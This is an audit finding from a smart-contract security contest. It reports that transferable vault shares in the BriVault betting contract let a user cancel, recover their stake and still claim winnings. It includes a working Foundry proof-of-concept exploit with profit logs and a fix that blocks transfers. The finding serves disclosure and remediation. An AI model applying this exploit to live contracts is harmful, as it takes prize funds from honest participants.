BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Share transfers enable free bets and prize theft

Description

The vault token inherits full ERC20 transferability, but `joinEvent()`, `cancelParticipation()`, and `withdraw()` assume that a user's shares never change hands. In particular:

  • `joinEvent()` records the caller's shares in `userSharesToCountry[msg.sender][countryId]` and their selected country in `userToCountry[msg.sender]`.

  • `cancelParticipation()` refunds `stakedAsset[msg.sender]` and burns `balanceOf(msg.sender)`. If the user transferred their shares away prior to canceling, `_burn` burns 0, leaving the shares outstanding.

  • `withdraw()` validates winners by checking `userToCountry[msg.sender]` and uses `balanceOf(msg.sender)` for the payout, regardless of whether the stake was previously refunded.

An attacker can therefore:

1- Deposit and join a country

2- Transfer their shares to a helper EOA.

3- Call `cancelParticipation()` to recover their entire stake (only the participation fee is lost). Because their balance is 0, no shares are burned and `userSharesToCountry` is left intact.

4- Acquire the shares back from the helper before the event ends.

When the attacker withdraws, they are still treated as a valid winner (the mappings were never cleared) and now hold the shares again, so they receive a prize funded entirely by honest participants despite having already recovered their original stake. This is a free bet / prize theft vector. If the shares are never returned, the attacker can still grief by leaving orphaned shares that count towards the winner pool.

Risk

**Likelihood**:
* ERC20 shares can be freely transferred between EOAs
* No logic guards against transferring shares while a bet is active
* `cancelParticipation()` and `withdraw()` do not reconcile stake ownership with share ownership
**Impact**:
* Attacker recovers their stake (minus fee) and still withdraws winnings
* Honest winners lose funds; vault assets are drained by free riders
* Shares can be orphaned, corrupting accounting and breaking ERC4626 expectations
* Enables griefing and prize pool manipulation in any integration

Proof of Concept

The following PoC shows how a malicious user would get a prize risking just the participation fee, effectively stealing from the real winners. See the following logs:

User1 gets a prize of 2462500000000000000 assets,
risking just the participation fee of 75000000000000000 assets,
achieving a profit of 2387500000000000000 assets (stolen from user3).

User3 gets a payout of 2462500000000000000 assets,
having made a bet of 5000000000000000000 assets,
with a loss of 2537500000000000000 assets.

function testFreeBetExploit() public {
vm.prank(owner);
briVault.setCountry(countries);
uint256 user1InitialBalance = mockToken.balanceOf(user1);
uint256 depositAmount = 5 ether;
// User1 deposits and joins country 10
vm.startPrank(user1);
mockToken.approve(address(briVault), depositAmount);
uint256 shares = briVault.deposit(depositAmount, user1);
briVault.joinEvent(10);
vm.stopPrank();
// User1 transfers shares to user2
vm.prank(user1);
briVault.transfer(user2, shares);
// User1 cancels participation and recovers stake
uint256 balanceBeforeCancel = mockToken.balanceOf(user1);
vm.prank(user1);
briVault.cancelParticipation();
uint256 balanceAfterCancel = mockToken.balanceOf(user1);
uint256 refunded = balanceAfterCancel - balanceBeforeCancel;
assertEq(refunded, shares); // stake fully refunded (fee already paid)
// Honest user deposits and joins same country
vm.startPrank(user3);
mockToken.approve(address(briVault), depositAmount);
uint256 user3Shares = briVault.deposit(depositAmount, user3);
briVault.joinEvent(10);
vm.stopPrank();
// User2 returns the original shares to user1
vm.prank(user2);
briVault.transfer(user1, shares);
// Event ends, country 10 wins
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(10);
// User1 withdraws and receives prize despite already recovering stake
vm.startPrank(user1);
uint256 balanceBeforeWin = mockToken.balanceOf(user1);
briVault.withdraw();
uint256 balanceAfterWin = mockToken.balanceOf(user1);
uint256 prize = balanceAfterWin - balanceBeforeWin;
vm.stopPrank();
console2.log("User1 gets a prize of", prize, "assets");
console2.log("risking just the participation fee of", depositAmount - refunded, "assets");
console2.log("achieving a profit of", prize - (depositAmount - refunded), "assets");
assertGt(prize, 0); // User1 earns winnings without risking stake
assertGt(balanceAfterWin, user1InitialBalance); // Net profit > 0 (fee was only cost)
// Honest participant receives less than their stake when withdrawing
vm.startPrank(user3);
uint256 balanceBeforeUser3 = mockToken.balanceOf(user3);
briVault.withdraw();
uint256 balanceAfterUser3 = mockToken.balanceOf(user3);
vm.stopPrank();
uint256 user3Payout = balanceAfterUser3 - balanceBeforeUser3;
assertLt(user3Payout, user3Shares); // User3 loses portion of their stake to User1
console2.log("User3 gets a payout of", user3Payout, "assets");
console2.log("having made a bet of", depositAmount, "assets");
console2.log("with a loss of", depositAmount - user3Payout, "assets");
}

Recommended Mitigation

Consider disabling transfers by overriding ERC20's `_update()` function.

+ function _update(address from, address to, uint256 value) internal override {
+ if (from != address(0) && to != address(0)) {
+ revert sharesNotTransferable();
+ }
+ super._update(from, to, value);
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!